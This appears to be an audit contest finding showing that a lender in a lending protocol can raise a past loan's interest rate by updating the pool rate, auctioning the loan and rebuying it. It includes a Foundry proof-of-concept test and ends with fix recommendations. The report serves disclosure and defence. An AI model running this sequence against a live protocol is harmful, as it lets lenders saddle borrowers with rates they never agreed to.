20,000 USDC
View results
Submission Details
Severity: medium

Lender can change the interest rate of past loans

Summary

Lender can change the interest rate of past loans easily. This is not expected behaviour because the function updateInterestRate does not affect the interest rate of past loans.

Vulnerability Details

However, a lender can easily update the interest rate of a past loan by doing this:

We're starting with a lender and a borrower that got a loan from the lender's pool.

  • Lender changes the interest rate of the pool via updateInterestRate

  • Auctions the loan

  • Buys the loan himself with the higher rate

Now the borrower is in a loan with much higher interest rate than expected.
Note that this can be done extremely quickly if the lender frontruns the borrower before getting the loan and changes the auction length of the pool beforehand as well. Or simply by having a pool with lower auction length.
He could set it up for as low as a couple of seconds enabling him to auction and re-buy the loan in just seconds.

Add this test to Lender.t.sol:

POC
function testChangeInterestRateOfPastLoan() public {
vm.startPrank(lender1);
Pool memory p = Pool({
lender: lender1,
loanToken: address(loanToken),
collateralToken: address(collateralToken),
minLoanSize: 100 * 10 ** 18,
poolBalance: 1000 * 10 ** 18,
maxLoanRatio: 2 * 10 ** 18,
auctionLength: 1 days,
interestRate: 1000,
outstandingLoans: 0
});
bytes32 poolId = lender.setPool(p);
(, , , , uint256 poolBalance, , , uint256 poolInterestRate, ) = lender
.pools(poolId);
assertEq(poolBalance, 1000 * 10 ** 18);
//borrow from the pool
vm.startPrank(borrower);
Borrow memory b = Borrow({
poolId: poolId,
debt: 100 * 10 ** 18,
collateral: 100 * 10 ** 18
});
Borrow[] memory borrows = new Borrow[](1);
borrows[0] = b;
lender.borrow(borrows);
uint256[] memory loanIds = new uint256[](1);
loanIds[0] = 0;
(address loanLender, , , , , , uint256 loanInterestRate, , , ) = lender
.loans(0);
console.log("poolInterestRate:", poolInterestRate);
console.log("loanInterestRate:", loanInterestRate);
//validate the loan
assertEq(loanLender, lender1);
//Now let's change the interest rate of the pool
vm.startPrank(lender1);
lender.updateInterestRate(poolId, 2000);
(, , , , , , , poolInterestRate, ) = lender.pools(poolId);
//validate new poolInterestRate
assertEq(poolInterestRate, 2000);
//starting the auction
lender.startAuction(loanIds);
(, , , , , , , , uint256 startTime, ) = lender.loans(0);
assertEq(startTime, block.timestamp);
//waiting a couple of hours of the auction
//the wait can be made much shorter if lender changes the auctionLength before auctioning the loan
vm.warp(block.timestamp + 2 hours);
lender.buyLoan(0, poolId);
(, , , , , , loanInterestRate, , , ) = lender.loans(0);
console.log(
"loanInterestRate after buying the loan:",
loanInterestRate
);
//borrower has 2x the interesRate he started with
assertEq(loanInterestRate, 2000);
}

Impact

Borrower is suddenly in a loan with much higher interest rate than expected. The lender then can change the interest rate back to a very low number baiting more borrowers in.

Tools Used

Manual review, Foundry

Recommendations

Don't allow the lender to buy loans from himself as there's not really a valid reason to do so. Also, you can set up a more meaningful MAX_INTEREST_RATE as currently it is too high.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.